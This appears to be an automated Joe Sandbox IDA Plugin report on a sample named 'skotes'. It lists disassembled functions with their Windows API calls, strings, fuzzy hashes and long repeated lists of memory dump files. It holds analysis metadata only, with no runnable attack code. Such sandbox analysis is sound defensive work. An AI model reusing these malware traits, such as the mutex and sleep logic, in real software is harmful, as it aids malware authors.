Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 36644b8363283c65bd8ac30a5271fb7935fee6531281ddcc5bf48ad281aa2c79
Instruction ID: 21df805b19f8f5c7c0841ae1c0d5efd55922800778ec4e4c4402497825e20c90
Opcode Fuzzy Hash: 36644b8363283c65bd8ac30a5271fb7935fee6531281ddcc5bf48ad281aa2c79
Instruction Fuzzy Hash: FAA11672A041498FCF199F68DD91BED3BA2AB07320F14019DE811AF391DB759D82CB95

Function 006426F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00656758), ref: 0064275C

Strings

Xge, xrefs: 00642705, 0064270B
Eastern Standard Time, xrefs: 006427CB
Eastern Summer Time, xrefs: 006427FA

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xge
API String ID: 565725191-3925688217
Opcode ID: 92a39d9c6ee42f9b747af5b862b649bad0965197aa0ca256fe6611f9ca75fcdd
Instruction ID: 8999eaeaccae06776517c31577f064af491f86010eb17dd9b87609fc273494d0
Opcode Fuzzy Hash: 92a39d9c6ee42f9b747af5b862b649bad0965197aa0ca256fe6611f9ca75fcdd
Instruction Fuzzy Hash: 2B51067190021AAFDB50EF65DCA19EE7BBFEF45310F60016DF510A3291EB709E458BA4

Function 00636FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00636EE6), ref: 00636FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00637030
__dosmaperr.LIBCMT ref: 006370C5

Part of subcall function 0063732A: __dosmaperr.LIBCMT ref: 0063735F

Strings

nc, xrefs: 00636FCE

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nc
API String ID: 2531987475-3421823575
Opcode ID: e7b370846b32fe9e6d0e566f51f5e678c228faef34413cd7142820bd97464b2e
Instruction ID: b86501a5d715b5f8da16640ac7fb62ffdfcd26d85328efe732002e00436eb7fd
Opcode Fuzzy Hash: e7b370846b32fe9e6d0e566f51f5e678c228faef34413cd7142820bd97464b2e
Instruction Fuzzy Hash: 4D414FB6904204ABDB389FB5DC459ABB7FAEF49300F14451DF856D3211E730A944DBA1

Function 00609BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00609BA8
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 981c785eea34a4d5581f2b4fb2740bc6c28645278d88148621b4af9ea8545e4e
Instruction ID: c88d6dbaade3aa7c19899d0718eab9ee378bb3e45ef6833c75d2e4520941a1fb
Opcode Fuzzy Hash: 981c785eea34a4d5581f2b4fb2740bc6c28645278d88148621b4af9ea8545e4e
Instruction Fuzzy Hash: A5310931B942449BEB0CDBBCDD897AFB6779B85310F248258E014973D6C7B549818761

Function 00609CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00609CDD
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2f
API String ID: 396266464-3713388386
Opcode ID: 0315a29fa8626763de78985dccab31fd2d8d35c1803fd67fdc111e46a3308c36
Instruction ID: e6ac251518014c06aed05b22f6fd07ab92926800141402951cf0ca6e0d28c943
Opcode Fuzzy Hash: 0315a29fa8626763de78985dccab31fd2d8d35c1803fd67fdc111e46a3308c36
Instruction Fuzzy Hash: 96311631B946449BEB1CDBACDC897AEB773DF86310F244658E014AB3D6C7758A808761

Function 00609F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00609F47
Sleep.KERNEL32(00000064,?), ref: 0060A963
CreateMutexA.KERNEL32(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
